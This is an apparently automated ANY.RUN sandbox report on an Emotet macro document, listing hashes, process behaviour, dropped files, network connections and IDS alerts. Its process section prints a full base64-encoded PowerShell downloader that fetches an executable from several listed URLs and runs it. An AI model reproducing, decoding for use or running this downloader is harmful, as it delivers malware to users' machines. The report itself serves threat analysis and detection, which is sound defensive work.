analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

25466_01147.doc

Full analysis: https://app.any.run/tasks/0f60761f-e4bf-4bc0-a848-87db2fc96a26
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: November 08, 2019, 14:41:36
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet-doc
emotet
opendir
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Suscipit est quas., Author: Bonifc Finka, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Nov 8 06:25:00 2019, Last Saved Time/Date: Fri Nov 8 06:25:00 2019, Number of Pages: 1, Number of Words: 20, Number of Characters: 118, Security: 0
MD5:

0A04CA6EC6C7E8B513A0CCA9B979E24E

SHA1:

368C1CD1F1A7AED5BAEACA62DB049E2E66AE0FF8

SHA256:

E6FD4AEC3DE2430895672A1BD6025D04081F62EE83B441715E33B5E01641812E

SSDEEP:

3072:jpopRH+UaqFh5sr/SzFaSadGBrjC48+WZ/rOhh+/itV1FYwDF+vdbn:jpopRHNaqWSzGdD48+arOnDdFJAvdT

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 503.exe (PID: 3844)
      • 503.exe (PID: 3816)
      • wholesspi.exe (PID: 776)
      • wholesspi.exe (PID: 3748)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2120)

    • Emotet process was detected

      • 503.exe (PID: 3816)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2120)

    • PowerShell script executed

      • powershell.exe (PID: 2120)

    • Executed via WMI

      • powershell.exe (PID: 2120)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2120)
      • 503.exe (PID: 3816)

    • Application launched itself

      • 503.exe (PID: 3844)
      • wholesspi.exe (PID: 3748)

    • Starts itself from another location

      • 503.exe (PID: 3816)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2548)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2548)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 137
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 118
Words: 20
Pages: 1
ModifyDate: 2019:11:08 06:25:00
CreateDate: 2019:11:08 06:25:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: Bonifác Finka
Subject: -
Title: Suscipit est quas.
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
6
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 503.exe no specs #EMOTET 503.exe wholesspi.exe no specs wholesspi.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2548"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\25466_01147.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2120powershell -enco JABBAGIAZgB2AGQAZwBqAGUAaABhAD0AJwBUAGoAegBxAGoAdQB4AGcAJwA7ACQASABuAG0AaABpAHoAYwBpAGkAIAA9ACAAJwA1ADAAMwAnADsAJABJAGQAbwBqAHkAbgBoAGEAYwBjAD0AJwBOAGcAcQBtAGgAZwBpAHoAZgBpAG4AdAB5ACcAOwAkAEQAbwB6AHAAbABtAHEAbwBwAG4APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgAbgBtAGgAaQB6AGMAaQBpACsAJwAuAGUAeABlACcAOwAkAFMAbwBsAHUAeQBhAHIAdwBzAHAAPQAnAFEAegBhAHcAeABxAGsAbQBrAHMAJwA7ACQAUQByAHIAdQByAHcAYgB5AHQAdQB4AG0AaQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgBXAGUAYgBDAGwAaQBlAG4AVAA7ACQATQBmAHkAcQByAHIAawBqAGUAaQBqAG8APQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBxAHUAYQBuAHQAdQBtAHMALgB0AGUAYwBoAG4AbwBsAG8AZwB5AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBuAHoAYgB5ADcAegA2AGcALQBpADQAZwB0AGUAMAAtADIANQAyADkANgA3AC8AKgBoAHQAdABwADoALwAvAGEAdQBkAGkAaABkAC4AYgBlAC8AdwBwAC0AYQBkAG0AaQBuAC8AMQB4ADcAMQB3AG8AYgA2AC0AZwBrAHMAZABiAC0AMgA5ADIAMAA1ADAAMQAvACoAaAB0AHQAcAA6AC8ALwB3AGUAYgB0AGUAYwBoAGYAZQBlAGQAZQByAHMALgBpAG4ALwBuAGUAdwAvAGkAegBMAHAAUABwAC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgBiAGUAcgB0AGEAbAB1AGkAcwBhAGQAZQB0AHQAZQAuAGQAZQAvAFcAbwByAGQAUAByAGUAcwBzAF8AMAAyAC8AdQA5AGQANQBiAGgAawB1AC0AMAAyAGYAaQBwAHEAYwAtADQANwAxADUALwAqAGgAdAB0AHAAcwA6AC8ALwBjAHkAYgBlAHIAYgBsAG8AeAAuAG0AeQAvAHMAaQB0AGUAbQBhAHAALwBlAHIAWABmAEsAbABRAC8AJwAuACIAUwBgAFAATABpAFQAIgAoACcAKgAnACkAOwAkAEEAZQBiAGUAegBwAHYAawBwAGUAcAA9ACcASQBlAHkAdgBqAHkAeABqAHUAcgB6ACcAOwBmAG8AcgBlAGEAYwBoACgAJABLAGwAdwBhAGgAcgBxAHEAYgByAGcAbgBrACAAaQBuACAAJABNAGYAeQBxAHIAcgBrAGoAZQBpAGoAbwApAHsAdAByAHkAewAkAFEAcgByAHUAcgB3AGIAeQB0AHUAeABtAGkALgAiAGQATwBXAE4AbABvAGEAYABEAGAARgBpAGAATABFACIAKAAkAEsAbAB3AGEAaAByAHEAcQBiAHIAZwBuAGsALAAgACQARABvAHoAcABsAG0AcQBvAHAAbgApADsAJABQAGMAbgB3AHkAYQBoAHUAdAB1AD0AJwBXAGMAdABtAHcAbQBrAG4AZgBwACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQARABvAHoAcABsAG0AcQBvAHAAbgApAC4AIgBMAEUAYABOAGAARwB0AEgAIgAgAC0AZwBlACAAMgA5ADYAMAA4ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABhAGAAUgBUACIAKAAkAEQAbwB6AHAAbABtAHEAbwBwAG4AKQA7ACQAQQB1AGoAZwBmAG0AYwB5AG4AYQBzAD0AJwBGAHAAZQB3AG8AagBhAGoAbgB2AGUAeAAnADsAYgByAGUAYQBrADsAJABPAHIAaABhAHAAYwBnAHkAZgA9ACcATwBoAHcAbgBqAGMAYQBwAGUAZwB2ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAYwBsAGgAbQB5AGYAagBoAD0AJwBHAGcAYQBjAHUAbABnAGoAZwBqAGEAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3844"C:\Users\admin\503.exe" C:\Users\admin\503.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Watson Subscriber for SENS Network Notifications
Exit code:
0
Version:
12.0.6606.1000
3816--a405b536C:\Users\admin\503.exe
503.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Watson Subscriber for SENS Network Notifications
Exit code:
0
Version:
12.0.6606.1000
3748"C:\Users\admin\AppData\Local\wholesspi\wholesspi.exe"C:\Users\admin\AppData\Local\wholesspi\wholesspi.exe—503.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Watson Subscriber for SENS Network Notifications
Exit code:
0
Version:
12.0.6606.1000
776--dfba43e0C:\Users\admin\AppData\Local\wholesspi\wholesspi.exe—wholesspi.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Watson Subscriber for SENS Network Notifications
Version:
12.0.6606.1000
Total events
2 201
Read events
1 394
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
11

Dropped files

PID
Process
Filename
Type
2548WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA7E3.tmp.cvr —
MD5:—
SHA256:—
2120powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WQNKYMZ2L98YRXNUDLGX.temp —
MD5:—
SHA256:—
2120powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
2548WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:45822EE62FC571A3151895E367644231
SHA256:EB3C643FA978D554A4FC475FB2EC2D439467CBEED53546B5218462C2B3EC2CB5
2548WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C9B8103A.wmfwmf
MD5:21F78DC81953B9F883C986A7BFE7F492
SHA256:1B066BF0D286555457BE60FA81394944DE9B6DED8D7A675E67EEFA69C290B5EC
2548WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\41DAE84C.wmfwmf
MD5:5C0F005BA49BF609B4203FAA6E574EB2
SHA256:5B793658D389FA92BA1C31398E1A4DA6380E0157F401E1EEF21605DA6CD9C8C1
2120powershell.exeC:\Users\admin\503.exeexecutable
MD5:D7EA9E319DD08DD8BF750CFDED3E7311
SHA256:963161A044FE6DD74D4001D8672EBFC9921D8097B1DF2B4B932E9B46A4E0E518
2548WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:36B23A39E07859C8F6ED4A1D40758B81
SHA256:87B8212EC8E6F2C8D64B02D8A0AF4BC97A906628DC2951E1C9B3DC2DF15E5EAE
2548WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EDCEEB00.wmfwmf
MD5:316E9891A8E6B11D231094642A05D65B
SHA256:728884B8585D9E22AC1616DB14EDAAD16D7125031739D82AD6B5191C9AEEEBAB
2548WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$466_01147.docpgc
MD5:E6817B4614BA1D99C727882196935CB5
SHA256:1F9D2D74E71A06AE14CD7F5EC9C267CB64561F069F9A86B7541EFE4F8A350817
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2120
powershell.exe
GET
200
3.130.94.77:80
http://www.quantums.technology/wp-content/uploads/nzby7z6g-i4gte0-252967/
US
executable
113 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2120
powershell.exe
3.130.94.77:80
www.quantums.technology
—
US
suspicious

DNS requests

Domain
IP
Reputation
www.quantums.technology
  • 3.130.94.77
suspicious

Threats

PID
Process
Class
Message
2120
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2120
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2120
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
25466_01147.doc